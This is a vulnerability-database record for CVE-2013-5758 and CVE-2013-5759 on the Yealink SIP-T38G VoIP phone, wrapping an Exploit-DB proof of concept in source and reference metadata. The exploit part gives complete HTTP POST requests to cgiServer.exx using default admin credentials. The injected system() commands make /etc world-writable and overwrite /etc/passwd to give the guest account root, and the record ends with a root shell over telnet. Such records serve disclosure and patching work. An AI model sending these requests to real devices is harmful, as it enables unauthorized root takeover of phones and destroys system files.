ID

VAR-E-201406-0216


CVE

cve_id:CVE-2013-5758

Trust: 2.1

cve_id:CVE-2013-5759

Trust: 1.6

sources: PACKETSTORM: 127096 // EXPLOIT-DB: 33742 // EDBNET: 55162 // EDBNET: 22064

EDB ID

33742


TITLE

Yealink VoIP Phone SIP-T38G - Privilege Escalation - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 33742

DESCRIPTION

Yealink VoIP Phone SIP-T38G - Privilege Escalation. CVE-2013-5759CVE-2013-5758CVE-108080 . remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 33742

AFFECTED PRODUCTS

vendor:yealinkmodel:voip phone sip-t38gscope: - version: -

Trust: 2.2

vendor:yealinkmodel:voip phone sip-t38g remotescope: - version: -

Trust: 0.5

sources: PACKETSTORM: 127096 // EXPLOIT-DB: 33742 // EDBNET: 55162 // EDBNET: 22064

EXPLOIT

Title: Yealink VoIP Phone SIP-T38G Privileges Escalation
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5759

Description:

Using the fact that cgiServer.exx run under the root privileges we use the
command execution (CVE-2013-5758) to modify the system file restriction.
Then we add extra privileges to the guest account.

POC:

Step 1 - Changing /etc folder right to 777:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("/bin/busybox%20chmod%20-R%20777%20/etc")

Step 2 - Change guest user uid:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("echo "root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd
")

Step 3 - Connect back using telnet and guest account (password is guest):

# id
uid=0(root) gid=0(root)

Enjoy your root shell :)

--
*Mr.Un1k0d3r** or 1 #*

Trust: 1.0

sources: EXPLOIT-DB: 33742

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 33742

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 33742

TYPE

Privilege Escalation

Trust: 1.0

sources: EXPLOIT-DB: 33742

TAGS

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

sources: PACKETSTORM: 127096

CREDITS

Mr.Un1k0d3r

Trust: 0.6

sources: EXPLOIT-DB: 33742

EXTERNAL IDS

db:NVDid:CVE-2013-5758

Trust: 2.1

db:NVDid:CVE-2013-5759

Trust: 1.6

db:EXPLOIT-DBid:33742

Trust: 1.6

db:EDBNETid:55162

Trust: 0.6

db:0DAYTODAYid:22335

Trust: 0.6

db:EDBNETid:22064

Trust: 0.6

db:PACKETSTORMid:127096

Trust: 0.5

sources: PACKETSTORM: 127096 // EXPLOIT-DB: 33742 // EDBNET: 55162 // EDBNET: 22064

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2013-5758

Trust: 2.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-5759

Trust: 1.6

url:https://www.exploit-db.com/exploits/33742/

Trust: 0.6

url:https://0day.today/exploits/22335

Trust: 0.6

sources: PACKETSTORM: 127096 // EXPLOIT-DB: 33742 // EDBNET: 55162 // EDBNET: 22064

SOURCES

db:PACKETSTORMid:127096
db:EXPLOIT-DBid:33742
db:EDBNETid:55162
db:EDBNETid:22064

LAST UPDATE DATE

2022-07-27T09:15:35.722000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:127096date:2014-06-13T13:53:43
db:EXPLOIT-DBid:33742date:2014-06-13T00:00:00
db:EDBNETid:55162date:2014-06-13T00:00:00
db:EDBNETid:22064date:2014-06-14T00:00:00